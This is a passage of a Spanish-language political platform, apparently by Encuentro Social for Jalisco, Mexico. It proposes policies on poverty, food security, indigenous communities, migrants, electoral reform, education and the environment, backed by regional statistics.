orientaci\u00f3n, educaci\u00f3n y atenci\u00f3n necesaria para prevenir estos problemas, as\u00ed como la atenci\u00f3n adecuada en centros de rehabilitaci\u00f3n. \u00a0Por lo que se deber\u00e1n instrumentar pol\u00edticas p\u00fablicas para fortalecer la instituci\u00f3n familiar, formada por el padre, la madre y los hijos; fomentando valores, la uni\u00f3n y la interacci\u00f3n entre los miembros de la familia a trav\u00e9s de talleres, cultura y deporte. Adem\u00e1s de fortalecer las instituciones y la capacitaci\u00f3n del personal especialista en atenci\u00f3n y rehabilitaci\u00f3n de personas adictas.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tDesarrollo social y combate a la pobreza\t\t\t\t\t<\/p>\n<p><strong>Establecer en todos los instrumentos de planeaci\u00f3n y programaci\u00f3n gubernamental, como objetivo prioritario de la pol\u00edtica social el de abatir la desigualdad y la pobreza.<\/strong><\/p>\n<p>Se deber\u00e1n fortalecer y mejorar los mecanismos de coordinaci\u00f3n y concertaci\u00f3n para crear instrumentos de planeaci\u00f3n de las acciones en materia de desarrollo social que existen entre la Federaci\u00f3n, el Estado y los Municipios, con el prop\u00f3sito de implementar una visi\u00f3n regional del desarrollo que permita cerrar las brechas persistentes en todos los \u00e1mbitos y niveles.<\/p>\n<p><strong>Formular una estrategia estatal y municipal de seguridad alimentaria.<\/strong><\/p>\n<p>En Jalisco se contabiliza m\u00e1s de un mill\u00f3n 600 mil personas en carencia alimentaria, asimismo, 9.1% de ni\u00f1as y ni\u00f1os menores de cinco a\u00f1os padecen desnutrici\u00f3n. Por lo tanto, para Encuentro Social es muy importante fomentar una alimentaci\u00f3n adecuada para toda la poblaci\u00f3n, ya que la nutrici\u00f3n guarda una estrecha correlaci\u00f3n con los niveles de aprovechamiento escolar de los ni\u00f1os, la productividad de los trabajadores y, en general, con el nivel de vida de cualquier individuo. Es importante se\u00f1alar que mientras una familia no se pueda procurar alimento suficiente, dif\u00edcilmente los miembros de \u00e9sta pensar\u00e1n en educarse, en seguir programas de salud preventiva o conseguir una vivienda digna.<\/p>\n<p><strong>Acrecentar la instrumentaci\u00f3n de programas productivos que contribuyan a la generaci\u00f3n de ingresos de la poblaci\u00f3n en situaci\u00f3n de pobreza extrema. <\/strong><\/p>\n<p>Proponemos que los programas con proyectos productivos se consideren como prioritarios para el desarrollo del Estado, ya que un aumento en el presupuesto que se otorga a este tipo de programas representar\u00eda un beneficio para miles de personas, que no s\u00f3lo saldr\u00edan del estado de pobreza en el que se encuentran, sino que tambi\u00e9n contribuir\u00e1n de manera efectiva a que la econom\u00eda de sus comunidades, municipios y el estado en general mejore.<\/p>\n<p><strong>Fortalecer el marco legal y las atribuciones de las instituciones del sector p\u00fablico para brindar asesor\u00eda oportuna y eficaz a las comunidades ind\u00edgenas para fomentar su desarrollo social y humano.<\/strong><\/p>\n<p>En Jalisco hay m\u00e1s de 50 mil personas mayores de 5 a\u00f1os que hablan alguna lengua ind\u00edgena, lo que representa cerca del 1% de la poblaci\u00f3n de la entidad. De cada 100 personas que declararon hablar alguna lengua ind\u00edgena, 14 no hablan espa\u00f1ol. Por lo tanto, impulsaremos y fortaleceremos el alcance, la cobertura, la calidad y la pertinencia de los programas y acciones p\u00fablicas sectoriales, mediante pol\u00edticas afirmativas y compensatorias que consideren, valoren y conserven las potencialidades culturales y riquezas naturales que tienen los pueblos ind\u00edgenas en el Estado.<\/p>\n<p><strong>Ampliar los alcances de los programas sociales correspondientes al ramo de Desarrollo Social, en particular en los municipios con mayores \u00edndices de marginaci\u00f3n, considerando las caracter\u00edsticas locales de dichas regiones. <\/strong><\/p>\n<p>En el estado de Jalisco existen 6 municipios con alto grado de marginaci\u00f3n, Cuautitl\u00e1n de Garc\u00eda Barrag\u00e1n, Chimaltit\u00e1n, Mar\u00eda Del Oro, Mezquitic, Villa Guerrero, Zapotitl\u00e1n de Vadillo, por esta raz\u00f3n, tendremos como una prioridad en materia de desarrollo social mantener y aumentar los derechos sociales de todas las personas, en particular las personas en riesgo de pobreza y exclusi\u00f3n.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Promover la creaci\u00f3n de infraestructura m\u00e9dica en todas las regiones del Estado, principalmente en las de mayor rezago y marginaci\u00f3n.<\/strong><\/p>\n<p>Jalisco est\u00e1 por debajo del promedio nacional en casi todos estos indicadores de carencias sociales, excepto por el de las carencias por acceso a los servicios de salud: a escala nacional 16.68% de los mexicanos padecen este problema, pero el indicador llega a 17.95% en el caso de Jalisco. Tendremos como prioridad destinar mayores recursos para ampliar el suministro de servicios de salud p\u00fablica de calidad, no podemos seguir permitiendo que las deficiencias y los problemas de cobertura, calidad y falta de adecuaci\u00f3n de los servicios de salud den lugar a que no se haya logrado un descenso importante en las tasas de mortalidad materna e infantil, en la erradicaci\u00f3n de enfermedades y en la prevenci\u00f3n de enfermedades end\u00e9micas, entre otros.<\/p>\n<p><strong>Fomentar acciones que fortalezcan la detecci\u00f3n oportuna de enfermedades cr\u00f3nico-degenerativas.<\/strong><\/p>\n<p>Para contener el crecimiento de las cuatro principales enfermedades cr\u00f3nico-degenerativas (diabetes, males cardiovasculares, c\u00e1ncer de mama y pr\u00f3stata), es necesario promover acciones y, en su caso, modificar la legislaci\u00f3n en materia de salud, incluyendo un modelo preventivo, con lo cual bajar\u00e1n los costos unitarios por paciente, se incrementar\u00e1n las detecciones de c\u00e1ncer de mama y pr\u00f3stata, tambi\u00e9n se brindar\u00e1n tratamientos integrales no s\u00f3lo a pacientes con estos padecimientos, sino a quienes en etapas iniciales requieren del servicio m\u00e9dico.<\/p>\n<p><strong>Poner en operaci\u00f3n comedores comunitarios que funcionen en las zonas de atenci\u00f3n prioritaria.<\/strong><\/p>\n<p>Con la apertura de nuevos comedores comunitarios se busca brindar una alimentaci\u00f3n sana y suficiente, principalmente a familias en condiciones de vulnerabilidad econ\u00f3mica, as\u00ed como disminuir el \u00edndice de rezago alimenticio en el Estado.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Promover que el presupuesto asignado para el ramo de Desarrollo Social est\u00e9 sustentado en los principios de gobierno abierto que son la transparencia, rendici\u00f3n de cuentas, participaci\u00f3n ciudadana e innovaci\u00f3n tecnol\u00f3gica. <\/strong><\/p>\n<p>Esto permitir\u00eda lograr resultados y mejorar la calidad del gasto y los servicios p\u00fablicos, as\u00ed como un gobierno cercano y responsivo a las necesidades de las personas.<\/p>\n<p><strong>Crear un sistema de monitoreo y evaluaci\u00f3n para el mejor dise\u00f1o y operaci\u00f3n de las pol\u00edticas p\u00fablicas y las acciones encaminadas a la disminuci\u00f3n de la pobreza.<\/strong><\/p>\n<p>Promoveremos la rendici\u00f3n de cuentas como un elemento clave para fortalecer una institucionalidad social de alta calidad. Esto es as\u00ed, tanto porque contribuye con el desarrollo de un conjunto de mejores reglas de juego formales e informales que son puestas en funcionamiento para procesar y priorizar los problemas sociales, a la vez que enmarca el contenido y la din\u00e1mica administrativa y pol\u00edtica de las pol\u00edticas sociales. El monitoreo y evaluaci\u00f3n debe recaer en instituciones no gubernamentales, con lo que se evitar\u00eda que sean juez y parte; logrando incluso que en funci\u00f3n del resultado de las evaluaciones se asigne presupuesto para el ejercicio subsecuente.<\/p>\n<p><strong>Instrumentar acciones para que los migrantes repatriados tengan una vida digna mediante el fomento de proyectos productivos, programas y esquemas de capacitaci\u00f3n para vincularlos con empresas donde puedan conseguir trabajo y as\u00ed promover su reinserci\u00f3n en sus comunidades de origen.<\/strong><\/p>\n<p>El estado de Jalisco tiene una a\u00f1eja tradici\u00f3n migratoria a Estados Unidos que se remonta hacia los finales del siglo XIX. Se estima que 1.4 millones de personas nacidas en Jalisco habitan en Estados Unidos y que alrededor de 2.6 millones de personas nacidas en aquel pa\u00eds son hijos de padres jaliscienses. De acuerdo al \u00edndice de intensidad migratoria calculado por Consejo Nacional de Poblaci\u00f3n (CONAPO) con datos del censo de poblaci\u00f3n de 2010 del INEGI, Jalisco tiene un grado alto de intensidad migratoria, y tiene el lugar decimotercero entre las entidades federativas del pa\u00eds con mayor intensidad migratoria. En este sentido, promoveremos una puntual, cuidadosa y solidaria integraci\u00f3n y reinserci\u00f3n social, econ\u00f3mica y cultural de los migrantes retornados; aprovechando sus potencialidades, conocimientos y especialidades laborales y productivas para un mejor desarrollo econ\u00f3mico del connacional retornado y en general de los municipios jaliscienses.<\/p>\n<p><strong>Instrumentar programas de mejoramiento y construcci\u00f3n de vivienda popular.<\/strong><\/p>\n<p>Promoveremos la creaci\u00f3n de un nuevo programa estatal para la ampliaci\u00f3n, rehabilitaci\u00f3n, conservaci\u00f3n y mejoramiento de la vivienda, tanto urbana como rural, promoviendo el acceso al cr\u00e9dito, e impulsando iniciativas de coinversi\u00f3n de los gobiernos en todos los \u00f3rdenes, las comunidades y las familias.<\/p>\n<p><strong>Impulsar un programa de reordenamiento de los asentamientos irregulares, con la finalidad de proteger a las familias que habitan estas zonas y que constantemente est\u00e1n expuestas a desastres naturales.<\/strong><\/p>\n<p>Jalisco es uno de los estados con problemas de grandes asentamientos irregulares. Por ello, el problema que existe por el crecimiento urban\u00edstico desmedido y ca\u00f3tico, las repercusiones traen cada vez m\u00e1s construcciones en mal estado y deficientes. A lo anterior, si se agrega que las condiciones socioecon\u00f3micas de las familias de escasos recursos asentadas en \u00e1reas carentes de infraestructura, servicios y en viviendas inseguras, son de alta marginalidad, entonces la combinaci\u00f3n de ambos factores incrementa potencialmente las posibilidades de ocurrencia de un desastre.<\/p>\n<p><strong>Promover acciones de vinculaci\u00f3n institucional con organismos de sociedad civil para la ampliaci\u00f3n de los servicios de asistencia social comunitaria.<\/strong><\/p>\n<p>Fomentaremos la coordinaci\u00f3n, concertaci\u00f3n y participaci\u00f3n ciudadana, con el objeto de potencializar esfuerzos con la sociedad civil organizada, que en muchas ocasiones ha demostrado una mayor capacidad, experiencia, pero sobre todo, compromiso en la atenci\u00f3n de los grupos sociales m\u00e1s vulnerables. Lo anterior, es una forma de ampliar la cobertura de los servicios de asistencia social, fincados en la solidaridad ciudadana, que a trav\u00e9s de las figuras de asociaciones de asistencia privada, fundaciones y otras similares, aportan sus propios recursos para la consecuci\u00f3n de un loable objeto que es, en principio, una obligaci\u00f3n del Estado brindarlo.<\/p>\n<p><strong>Promover programas de autoempleo certificado mediante instituciones p\u00fablicas y privadas del estado.<\/strong><\/p>\n<p>Buscaremos que los apoyos destinados a programas de autoempleo sean aumentados y lleguen a un n\u00famero mayor de personas que desean desarrollar una actividad por cuenta propia y que, aun teniendo experiencia, no logran vincularse a un puesto de trabajo.<\/p>\n<p><strong>Promover la implementaci\u00f3n del programa de empleo temporal en acciones de mejora del entorno.<\/strong><\/p>\n<p>El PET genera oportunidades temporales de empleo para la mano de obra rural y urbana, mitigando el deterioro temporal de los ingresos de hogares pobres y vulnerables. Adem\u00e1s, fomenta la participaci\u00f3n comunitaria y su organizaci\u00f3n, y promueve la cohesi\u00f3n social, lo que a su vez permite aminorar los efectos negativos de fen\u00f3menos naturales y contingencias econ\u00f3micas de una manera \u00e1gil y oportuna, a trav\u00e9s de proyectos que ocupan a m\u00e1s beneficiarios potenciales.<\/p>\n<p><strong>Redise\u00f1ar las redes de transporte p\u00fablico para que sean m\u00e1s accesibles e incluyentes. <\/strong><\/p>\n<p>Actualmente el transporte p\u00fablico es en sus facilidades de acceso muy limitado para \u00a0personas con alg\u00fan tipo de discapacidad. Este redise\u00f1o de la red de transporte p\u00fablico propone que la pol\u00edtica p\u00fablica sea adoptada a nivel estatal, que la medida se aplique en todos los tipos de transporte existentes y que, adem\u00e1s, las l\u00edneas lleguen a los lugares m\u00e1s marginados del Estado, de tal manera que todas las v\u00edas de transporte cuenten con las instalaciones y equipos 100% adecuadas a las recomendaciones nacionales e internacionales en materia de inclusi\u00f3n.<\/p>\n<p><strong>Mejorar las oportunidades productivas para mujeres a trav\u00e9s de programas de capacitaci\u00f3n para el trabajo.<\/strong><\/p>\n<p>Las mujeres son parte fundamental del desarrollo estatal, es por esto que apoyaremos a este sector, otorgando capacitaci\u00f3n de empleo en las diversas \u00e1reas administrativas, municipales, estatales y privadas, para que les permita desarrollarse en niveles sociales y econ\u00f3micos m\u00e1s dignos.<\/p>\n<p><strong>Ampliar y fortalecer el presupuesto destinado al financiamiento de proyectos productivos que beneficien a las mujeres y hombres ind\u00edgenas.<\/strong><\/p>\n<p>Es necesario construir acciones requeridas para que este sector importante de nuestra sociedad pueda ejercer plenamente sus derechos y para cumplir cabalmente con el mandato constitucional de apoyar su desarrollo disminuyendo los rezagos, disparidades, pobreza y marginaci\u00f3n que a\u00fan los vulneran.<\/p>\n<p><strong>Fomentar programas regionales en materia de producci\u00f3n de alimentos que permitan atender las necesidades de alimentaci\u00f3n en las comunidades m\u00e1s marginadas.<\/strong><\/p>\n<p>Apoyaremos e impulsaremos la peque\u00f1a agricultura familiar, ya que es precisamente en donde est\u00e1 el mayor potencial para incrementar la producci\u00f3n de alimentos, toda vez que la agricultura extensiva, si bien ayuda a una mayor producci\u00f3n, tambi\u00e9n propicia la degradaci\u00f3n de los suelos.<\/p>\n<p><strong>Fomentar la contrataci\u00f3n de personal joven en las empresas mediante incentivos fiscales. <\/strong><\/p>\n<p>En el Estado, los ingresos por trabajo de la poblaci\u00f3n de j\u00f3venes se concentran entre uno y dos salarios m\u00ednimos, por tal raz\u00f3n se propone incentivar fiscalmente a las empresas que contraten personal joven en todos los niveles, ofreciendo contratos dignos que aseguren el desarrollo personal y profesional de los contratados.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Reformar las leyes de Desarrollo Social del Estado para que madres y padres solteros que se encuentren estudiando tengan acceso a las guarder\u00edas p\u00fablicas.<\/strong><\/p>\n<p>La iniciativa busca generar las condiciones necesarias para que una madre o padre \u00a0soltero pueda continuar con sus estudios. Tener un hijo no debe ser un impedimento para millones de hombres y mujeres que desean continuar con sus estudios.<\/p>\n<p><strong>Promover planes de cr\u00e9dito al emprendimiento de la madre soltera o jefa de familia a trav\u00e9s de la Secretar\u00eda de Econom\u00eda y Desarrollo Social del estado.<\/strong><\/p>\n<p>La independencia financiera de las mujeres es el primer paso para acabar con la pobreza y la desigualdad en el Estado. Si apoyamos la generaci\u00f3n de empresas lideradas por mujeres y formamos a las nuevas generaciones en principios de emprendimiento y apoyo mutuo, generamos a futuro mejores condiciones de vida para todas las mujeres y sus familias. Los requisitos que exigen actualmente no permiten el acceso crediticio a la mayor\u00eda de la poblaci\u00f3n femenina, ya que carecen de bienes, o en muchos casos no cuentan con el apoyo familiar y no pueden acreditar solvencia econ\u00f3mica. Con el objetivo de promover la independencia financiera para las mujeres, que les permita satisfacer las necesidades de su familia. Esta iniciativa generar\u00e1 un impulso al sector econ\u00f3mico liderado por mujeres al disminuir o generar alternativas pr\u00e1cticas a los requisitos para la obtenci\u00f3n de cr\u00e9ditos destinados al emprendimiento.<\/p>\n<p><strong>Instalar y poner en operaci\u00f3n centros de abasto a bajo costo en las zonas de atenci\u00f3n prioritaria.<\/strong><\/p>\n<p>Los municipios del Estado de Jalisco requieren centros de abasto, donde se obtengan todo tipo de productos a bajo costo. De la misma manera esto contribuir\u00eda al beneficio de muchos productores agr\u00edcolas a los que se les est\u00e1n cerrando las puertas y que pueden aprovechar el mercado interno.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Mejorar la cobertura, infraestructura, equipamiento y mobiliario de los centros asistenciales y casas de atenci\u00f3n a migrantes.<\/strong><\/p>\n<p>En los \u00faltimos a\u00f1os, las rutas para migrar desde el sur de M\u00e9xico y algunos pa\u00edses de Centroam\u00e9rica hacia los Estados Unidos se han incrementado. Sin embargo, la llamada \u201cruta del pac\u00edfico\u201d sigue siendo una de las m\u00e1s concurridas, y el trayecto pasa obligadamente por el estado de Jalisco, que anteriormente era s\u00f3lo un lugar de paso. En la actualidad, diversos factores influyen para que, sobre todo Guadalajara, pueda ser considerada por estos viajantes como una opci\u00f3n para su permanencia, dejando a muchas personas migrantes en situaci\u00f3n de calle. Por esta raz\u00f3n, es urgente articular mejores instrumentos program\u00e1ticos y dotar de mayores capacidades de gesti\u00f3n en el \u00e1mbito municipal para atender los graves problemas migratorios que actualmente enfrentamos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tR\u00e9gimen pol\u00edtico\t\t\t\t\t<\/p>\n<p><strong>Promover la creaci\u00f3n de la Ley de Remuneraciones para los Servidores P\u00fablicos de la Entidad.<\/strong><\/p>\n<p>En Encuentro Social consideramos incongruentes los altos salarios de los servidores p\u00fablicos, tales como los de algunos presidentes municipales, s\u00edndicos y regidores; creemos necesario estipular de manera clara y objetiva los salarios, en \u00a0base a las \u00a0funciones y responsabilidades de cada uno. El principal objetivo es la regularizaci\u00f3n de los sueldos que percibe cada servidor p\u00fablico del estado de Jalisco, esto con la finalidad de mantener un sueldo proporcional al cargo y evitar que se eleve por encima del sueldo del Gobernador.\u00a0\u00a0<\/p>\n<p><strong>Legislar para tipificar en la Constituci\u00f3n Pol\u00edtica estatal la revocaci\u00f3n de mandato a gobernadores y presidentes municipales.<\/strong><\/p>\n<p>Instrumentar la revocaci\u00f3n de mandato para estos puestos de elecci\u00f3n popular, con una normatividad clara y efectiva para casos concretos de crisis de legitimidad, corrupci\u00f3n, abuso de poder y autoridad, ya que este mecanismo refuerza el control de la ciudadan\u00eda sobre el gobierno.<\/p>\n<p><strong>Incentivar en los municipios programas y acciones que fortalezcan la relaci\u00f3n solidaria entre vecinos<\/strong>.<\/p>\n<p>El aumento en el \u00edndice de violencia en los \u00faltimos a\u00f1os ha propiciado modificaciones en las conductas cotidianas entre los habitantes de los municipios, tales como evitar llevar objetos de valor como joyas, dinero o tarjetas por temor a sufrir alg\u00fan delito. De igual manera, se evita que los infantes jueguen en las \u00e1reas de recreaci\u00f3n. Se propone implementar un programa de la colaboraci\u00f3n de los vecinos y las instituciones para el restablecimiento de la seguridad y la paz social.<\/p>\n<p><strong>Reformar las leyes electorales estatales para incrementar el \u00a0porcentaje de las prerrogativas destinado a capacitaci\u00f3n, promoci\u00f3n y desarrollo del liderazgo pol\u00edtico de la mujer pasando del 3% al 10%. \u00a0<\/strong><\/p>\n<p>El 3% del presupuesto resulta insuficiente para garantizar la formaci\u00f3n de nuevos liderazgos femeninos en M\u00e9xico; con mayor presupuesto se podr\u00e1n generar nuevos canales de participaci\u00f3n y formaci\u00f3n para la mujer que impacten en su acceso a los puestos de toma de decisiones. No basta \u00fanicamente con incrementar el porcentaje, sino con vigilar y dar seguimiento a que dichos recursos promuevan verdaderamente la participaci\u00f3n pol\u00edtica de la mujer. \u00a0<\/p>\n<p>Es responsabilidad de todos el construir una democracia paritaria, por lo que se buscar\u00e1 reformar las leyes electorales estatales para aumentar el porcentaje de las prerrogativas otorgadas a los partidos pol\u00edticos para la capacitaci\u00f3n, promoci\u00f3n, y desarrollo del liderazgo pol\u00edtico de la mujer, as\u00ed como otorgar un porcentaje definido a los \u00d3rganos Electorales Estatales para la capacitaci\u00f3n, difusi\u00f3n, vigilancia y seguimiento \u00a0de los derechos pol\u00edtico electorales de las mujeres.<\/p>\n<p><strong>Promover la armonizaci\u00f3n legislativa de la tipificaci\u00f3n de la violencia pol\u00edtica contra las mujeres en el Estado de Jalisco.<\/strong><\/p>\n<p>Impulsaremos la implementaci\u00f3n de mecanismos para la prevenci\u00f3n y sanci\u00f3n, fundamentados en el Protocolo para Atender la Violencia Pol\u00edtica contra las Mujeres. La violencia pol\u00edtica contra las mujeres ha limitado la participaci\u00f3n de las mismas en la toma de decisiones, impactando directamente en el derecho humano de las mujeres a ejercer su voto y ser electas. No toleraremos ning\u00fan tipo de acci\u00f3n u omisi\u00f3n que limite, violente o impida los derechos pol\u00edticos de las mujeres, por el hecho de serlo.<\/p>\n<p><strong>Reformar las leyes electorales estatales <\/strong><strong>para que del recurso p\u00fablico que reciben los partidos pol\u00edticos para sus actividades espec\u00edficas, se designe el 7% al sector juvenil. <\/strong><\/p>\n<p>La participaci\u00f3n de j\u00f3venes en partidos pol\u00edticos es una gran \u00e1rea de oportunidad para nuestro estado. Planteamos entonces, destinar por ley el 7% del presupuesto para actividades espec\u00edficas de los partidos pol\u00edticos hacia su ala juvenil en forma de capacitaciones y del constante desarrollo del liderazgo pol\u00edtico de los j\u00f3venes.<\/p>\n<p>Dicho presupuesto les permitir\u00e1 planear de manera m\u00e1s estructurada sus actividades por a\u00f1o, y tener los recursos suficientes para ejecutar los planes y eventos que beneficien a la sociedad y que aumenten la participaci\u00f3n juvenil.<\/p>\n<p><strong>Coadyuvar a la consolidaci\u00f3n institucional de los ayuntamientos.<\/strong><\/p>\n<p>Enfocar la actuaci\u00f3n de los ayuntamientos en el cumplimiento cabal de las atribuciones y facultades que les confiere la legislaci\u00f3n, centrando su actuaci\u00f3n en ejercer dichas atribuciones para: prestaci\u00f3n de servicios p\u00fablicos que incorporen criterios de sustentabilidad; fortalecimiento de sus disposiciones tributarias, las cuales deber\u00e1n ser justas y equitativas; uso de sus facultades de control urbano para conformar asentamientos humanos con diversidad de actividades y sustentables; actuaci\u00f3n flexible en el otorgamiento de uso del suelo que permitan una convivencia y reactivaci\u00f3n de la actividad econ\u00f3mica de manera ordenada.<\/p>\n<p><strong>Establecer estrategias estatales que aumenten la eficacia y transparencia en la aplicaci\u00f3n de las finanzas p\u00fablicas municipales.<\/strong><\/p>\n<p>Establecer mecanismos que conlleven un estricto control y apego en las normas establecidas para un eficaz cumplimiento en la disciplina financiera en los municipios, de manera que se garantice el uso eficiente, programado y que la deuda de los ayuntamientos no ponga en riesgo su funcionamiento y operatividad presente y futura.<\/p>\n<p><strong>Impulsar una mejor implementaci\u00f3n del nuevo sistema de Justicia Penal.<\/strong><\/p>\n<p>La falta de capacitaci\u00f3n y conocimiento del personal para implementar un nuevo sistema de Justicia Penal, as\u00ed como de instalaciones adecuadas, ha propiciado que se comenten injusticias y desacuerdos en las resoluciones de los presuntos acusados. Es decir, las transiciones hacia verdaderas fiscal\u00edas aut\u00f3nomas, con estructuras funcionales e independientes, deben incluir pesos y contrapesos a trav\u00e9s de un redise\u00f1o institucional, acompa\u00f1ado de modelos organizativos y de gesti\u00f3n adecuada.<\/p>\n<p><strong>Impulsar un sistema integral de desarrollo para la seguridad de los municipios. <\/strong><\/p>\n<p>Para contar con un cuerpo polic\u00edaco apto para estar en contacto directo con la poblaci\u00f3n, es indispensable dotarlo con la formaci\u00f3n necesaria y especializada para la resoluci\u00f3n de problemas de forma inmediata, es decir, las herramientas que le sean \u00fatiles y pr\u00e1cticas para la resoluci\u00f3n de conflictos de \u00edndole local.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tEducaci\u00f3n\t\t\t\t\t<\/p>\n<p><strong>Disminuir el alto rezago escolar en la entidad<\/strong><\/p>\n<p>En Jalisco existen m\u00e1s de 2 millones de personas en rezago educativo\u00a0que no han terminado su primaria o secundaria, la cual es una cifra alta, tomando en cuenta que su poblaci\u00f3n total es de 7.8 millones de habitantes. En cuanto al analfabetismo, 4 de cada 100 personas de 15 a\u00f1os y m\u00e1s, no saben leer ni escribir. Se requiere coadyuvar en la disminuci\u00f3n del n\u00famero de estudiantes analfabetas por medio del apoyo en las materias que representan mayores dificultades, as\u00ed como ofrecer becas econ\u00f3micas que les permitan solventar sus gastos escolares y concluir exitosamente sus estudios de educaci\u00f3n b\u00e1sica.<\/p>\n<p><strong>Fomentar el h\u00e1bito por la lectura en el nivel educativo b\u00e1sico.<\/strong><\/p>\n<p>En Jalisco s\u00f3lo se leen 1.4 libros anualmente, mientras que a nivel nacional el promedio es de 5.3 libros por a\u00f1o. Las consecuencias de leer poco es que se comprende poco, esto se ve reflejado en bajos rendimientos de aprovechamiento.<\/p>\n<p>S\u00f3lo si se promueve el h\u00e1bito de lectura a trav\u00e9s de talleres o campa\u00f1as en las escuelas y\/o bibliotecas p\u00fablicas, as\u00ed como acercar los libros a m\u00e1s gente, se obtendr\u00e1n mejores resultados en la comprensi\u00f3n lectora, lo que a su vez capacitar\u00e1 a los estudiantes para tener un mejor desempe\u00f1o en todas las \u00e1reas de estudio.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Disminuir el nivel de violencia escolar.<\/strong><\/p>\n<p>En el estado de Jalisco se concentran 2,000 casos de acoso escolar en escuelas p\u00fablicas. El mejor esfuerzo por educar a los ni\u00f1os se debe hacer desde casa y multiplicarse en las escuelas. Se necesita fomentar la buena conducta y valores, vigilar patios, aulas y ba\u00f1os, y denunciar cualquier acto sin raz\u00f3n o motivo justificado ante las autoridades escolares, tambi\u00e9n fomentar talleres para padres de familia para corregir cualquier conducta inapropiada y combatir el acoso escolar.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fomentar las oportunidades educativas para la permanencia en el nivel medio superior.<\/strong><\/p>\n<p>Jalisco presenta una tasa de deserci\u00f3n del 13.16% misma que es superior al promedio nacional del 12.6<strong>%. <\/strong>Este problema est\u00e1 provocando que 2 de cada 10 j\u00f3venes trunquen su vida estudiantil porque tienen que incorporase al mercado laboral para solventar sus necesidades econ\u00f3micas y apoyar a la familia. Es necesario incrementar el n\u00famero de j\u00f3venes que permanezcan y concluyan sus estudios de nivel medio superior, mediante el otorgamiento de becas econ\u00f3micas, talleres de regularizaci\u00f3n en las materias que presentan mayor dificultad y as\u00ed tengan probabilidades de continuar con su carrera profesional.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fomentar la educaci\u00f3n inclusiva a personas con discapacidades.<\/strong><\/p>\n<p>En Jalisco hay<strong>\u00a0<\/strong>291,000 personas con una o m\u00e1s limitaciones motoras, intelectuales o sensoriales. Las dificultades severas como el aprendizaje y la concentraci\u00f3n representan el 38.8%, lo cual es un desaf\u00edo muy importante para la inclusi\u00f3n efectiva a la educaci\u00f3n. Se requiere reforzar los convenios existentes con sociedades civiles que brindan servicios educativos e instalaciones adecuadas para las personas con discapacidades, adem\u00e1s de aumentar el presupuesto estatal para este rubro.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Crear un sistema de transporte gratuito para que alumnos de comunidades rurales tengan acceso a la educaci\u00f3n.<\/strong><\/p>\n<p>En Jalisco existen localidades rurales como Jalostotitl\u00e1n<strong>, <\/strong>San Juli\u00e1n, San Miguel el Alto, Tepatitl\u00e1n de Morelos, Valle de Guadalupe, Villa Hidalgo, Yahualica de Gonz\u00e1lez Gallo<strong>, <\/strong>donde la red de transporte es insuficiente y cara para que los estudiantes se puedan trasladar a sus centros educativos. Se necesita dotar de una adecuada red de transporte gratuito y eficiente que permita a los estudiantes de estas localidades trasladarse a las comunidades donde se cuente con centros educativos a fin de continuar con sus estudios.<\/p>\n<p><strong>Preservar las lenguas ind\u00edgenas como el Huichol, N\u00e1huatl, Pur\u00e9pecha y Lenguas Mixtecas en la entidad<\/strong><\/p>\n<p>En Jalisco hay\u00a0m\u00e1s de 50 mil personas mayores de 5 a\u00f1os que hablan alguna lengua ind\u00edgena.\u00a0La\u00a0zona metropolitana de Guadalajara, \u00a0Mezquitic y Bola\u00f1os son las localidades donde m\u00e1s se hablan las lenguas de origen ind\u00edgena en el estado. \u00c9stas forman parte de la cultura ancestral del estado, enriqueci\u00e9ndolo y transmiti\u00e9ndolo de generaci\u00f3n en generaci\u00f3n. El Estado debe preservar\u00a0estas lenguas de origen mediante la capacitaci\u00f3n de docentes que puedan retransmitir estos conocimientos en las escuelas de educaci\u00f3n b\u00e1sica de la entidad.<\/p>\n<p><strong>Incrementar el n\u00famero de docentes titulados en el nivel secundaria.<\/strong><\/p>\n<p>En Jalisco el 21% de los docentes que imparten c\u00e1tedra en el nivel secundaria no est\u00e1n titulados. Se requiere fortalecer los controles de contrataci\u00f3n para que se logre obtener una plantilla de profesores competentes y comprometidos con una educaci\u00f3n de alto nivel acad\u00e9mico en la entidad.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fomentar la ense\u00f1anza de educaci\u00f3n art\u00edstica y cultural en todos los niveles.<\/strong><\/p>\n<p>El aprendizaje del arte y de la cultura en las escuelas constituye una de las estrategias m\u00e1s poderosas para la construcci\u00f3n de una ciudadan\u00eda intercultural. La presencia del arte en la educaci\u00f3n, a trav\u00e9s de la educaci\u00f3n art\u00edstica y a trav\u00e9s de la educaci\u00f3n por el arte, contribuye al desarrollo integral y pleno de los ni\u00f1os y de los j\u00f3venes. Se trata de un reto a desarrollar tanto en el \u00e1mbito formal como no formal y al que deben responder de forma coordinada las Secretar\u00edas de Educaci\u00f3n y de Cultura, junto con organismos y entidades vinculadas a sociedad civil, con el fin de generar un espacio de apoyo para la construcci\u00f3n de la ciudadan\u00eda cultural y la formaci\u00f3n de p\u00fablicos para las artes, punto cr\u00edtico de la gesti\u00f3n de la cultura en Jalisco.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tMedio ambiente\t\t\t\t\t<\/p>\n<p><strong>Incentivar el cobro de multas por ocasionar da\u00f1os ambientales por la contaminaci\u00f3n del agua y del aire. <\/strong><\/p>\n<p>Siempre que sea posible identificar la fuente que origina el da\u00f1o ambiental, se deber\u00e1 sancionar al responsable a trav\u00e9s del pago de las multas ya establecidas en los ordenamientos legales. Dichos recursos deber\u00e1n utilizarse para la prevenci\u00f3n y tratamiento de zonas contaminadas por las industrias y los hogares. Resulta de suma urgencia reformar las leyes en la materia y tomar acciones legales.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Incentivar la creaci\u00f3n de eco-escuelas con la participaci\u00f3n de la ciudadan\u00eda y especialistas en medio ambiente. <\/strong><\/p>\n<p>En cumplimiento a los requerimientos de la 